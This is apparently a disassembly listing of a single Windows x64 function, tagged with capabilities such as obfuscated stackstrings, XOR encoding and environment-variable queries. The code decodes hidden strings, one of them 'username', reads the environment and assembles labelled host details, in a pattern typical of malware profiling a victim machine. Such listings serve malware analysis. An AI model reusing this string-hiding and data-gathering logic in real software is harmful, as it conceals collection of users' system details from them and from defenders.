Function at 0x14000f320
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x130
mov rax, qword [0x14008c118]
xor rax, rsp
mov qword [rsp + 0x128], rax
mov r12, rdx
mov rdi, rcx
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x38], rdx
xor ebx, ebx
mov qword [r11 - 0x78], rbx
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [r11 - 0x68], xmm0
mov byte [r11 - 0x78], bl
lea ecx, [rbx + 8]
call fcn.14006ab20
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14000f393
mov rcx, rax
call fcn.140013c70
nop
mov dword [rsp + 0x70], 0x3e2e393c
mov dword [rsp + 0x74], 0x35222f23
mov word [rsp + 0x78], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 8
jb 0x14000f3b0
mov byte [rsp + 0x79], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000f3f0
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.140002ad0
nop
mov byte [0x14008c910], 0
mov ecx, 0x1024
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x1024
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x60], 0x2d14293a
mov dword [rsp + 0x64], 0x26263a2e
mov word [rsp + 0x68], gethostname
mov byte [rsp + 0x6a], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 9
jb 0x14000f460
mov byte [rsp + 0x6a], 0
mov qword [rsp + 0xd0], 9
mov qword [rsp + 0xd8], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0xc0], xmm0
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0xc8], al
mov byte [rsp + 0xc9], 0
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x90]
call fcn.140015330
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000f4d2
mov r8, qword [rax]
mov dword [rsp + 0x40], 0x253f2928
mov dword [rsp + 0x44], 0x1002022
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 6
jb 0x14000f4f0
mov byte [rsp + 0x47], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000f55e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f559
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14000f5bd
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f5b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f5b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rdx, [0x14008c9f8]
lea rcx, [rsp + 0x90]
call fcn.140015330
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000f5de
mov r8, qword [rax]
mov dword [rsp + 0x40], 0x243f3f28
mov dword [rsp + 0x44], 0x2b2712
mov byte [rsp + 0x48], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 7
jb 0x14000f600
mov byte [rsp + 0x48], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000f66e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f669
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f669
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rdx, [0x14008c9d8]
lea rcx, [rsp + 0xc0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000f6a4
mov r8, qword [rax]
mov dword [rsp + 0x40], 0x243f3f28
mov dword [rsp + 0x44], 0x393b2028
mov dword [rsp + 0x48], 0x3d273332
mov dword [rsp + 0x4c], 0x100383a
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xe
jb 0x14000f6d0
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000f73e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rdx, [rdi + 0xa0]
lea rcx, [rsp + 0xc0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000f774
mov r8, qword [rax]
mov dword [rsp + 0x40], 0x222a222a
mov dword [rsp + 0x44], 0xf232b23
mov dword [rsp + 0x48], 0x1003638
mov rcx, rbx
nop
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xa
jb 0x14000f790
mov byte [rsp + 0x4b], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000f7fe
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f7f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f7f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
mov rdx, r12
lea rcx, [rsp + 0xc0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000f830
mov r8, qword [rax]
mov dword [rsp + 0x40], 0x3f382f24
mov dword [rsp + 0x44], 0x2a292c
mov byte [rsp + 0x48], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 7
jb 0x14000f850
mov byte [rsp + 0x48], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000f8be
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f8b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f8b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea r14, [rsp + 0x100]
mov r15, qword [rsp + 0x100]
mov r13, qword [rsp + 0x118]
cmp r13, 0x10
cmovae r14, r15
movabs rdi, 0x7fffffffffffffff
mov rsi, qword [rsp + 0x110]
cmp rsi, rdi
ja 0x14000fe35
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x14000f931
mov qword [rsp + 0x50], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14000f978
mov rax, rsi
or rax, 0xf
cmp rax, rdi
ja 0x14000f94c
mov rdi, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb rdi, rcx
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x40]
call fcn.140001d40
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000f99c
mov r8, qword [rax]
mov dword [rsp + 0x60], 0x3e2e3920
mov word [rsp + 0x64], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 4
jb 0x14000f9b0
mov byte [rsp + 0x65], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000fa1e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fa19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
mov rsi, qword [rsp + 0x80]
mov rdx, rsi
lea rcx, [rsp + 0xc0]
call fcn.140002d90
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x30]
call fcn.140019ed0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000fa58
mov r8, qword [rax]
mov dword [rsp + 0x40], 0x382a380b
mov dword [rsp + 0x44], 0x1002f3b
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 6
jb 0x14000fa70
mov byte [rsp + 0x47], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.140012c40
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000fade
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fad9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fad9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
lea rcx, [rsp + 0xe0]
call fcn.140012ee0
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14000fb10
mov r8, rcx
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.140002ad0
mov dword [rsp + 0x40], 0x63223a28
mov word [rsp + 0x44], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 4
jb 0x14000fb40
mov byte [rsp + 0x45], 0
mov dword [rsp + 0x80], 0x3e3e2b3a
mov dword [rsp + 0x84], 0x312d2022
mov dword [rsp + 0x88], 0x3b307c3f
mov word [rsp + 0x8c], gethostname
mov byte [rsp + 0x8e], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x80], al
inc rcx
cmp rcx, 0xd
jb 0x14000fb90
mov byte [rsp + 0x8e], 0
xor eax, eax
mov word [rsp + 0x60], ax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov rdi, qword [rsp + 0x70]
mov r9, rdi
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.14000fe40
test al, al
jne 0x14000fcd9
mov byte [0x14008c911], 1
cmp r13, 0x10
jb 0x14000fc29
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000fc20
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd4f
mov rcx, r15
call fcn.14006ab5c
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x14000fc6c
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fda0
call fcn.14006ab5c
movdqa xmm0, xmmword [0x14006eca0]
movdqu xmmword [rsp + 0xf0], xmm0
mov byte [rsp + 0xe0], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000fcc1
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000fcbc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fd56
mov rcx, r8
call fcn.14006ab5c
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r12], 0
jmp 0x14000fe01
xor edx, edx
mov r8d, 0x1024
mov rcx, qword [0x14008ca60]
call sub.VCRUNTIME140.dll_memset
mov rdx, rdi
mov r8, qword [0x14008ca60]
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [r8], al
lea rdx, [rdx + 1]
lea r8, [r8 + 1]
test al, al
jne 0x14000fd00
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call fcn.14000a310
nop
cmp r13, 0x10
jb 0x14000fd66
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000fd5d
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fd5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, r15
call fcn.14006ab5c
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x14000fdad
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fda7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fda7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ab5c
nop
jmp 0x14000fdb6
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000fdee
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x14000fde9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fe2e
mov rcx, r8
call fcn.14006ab5c
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r12], 0
mov rcx, qword [rsp + 0x128]
xor rcx, rsp
call fcn.14006abf0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001ac0
nop
int3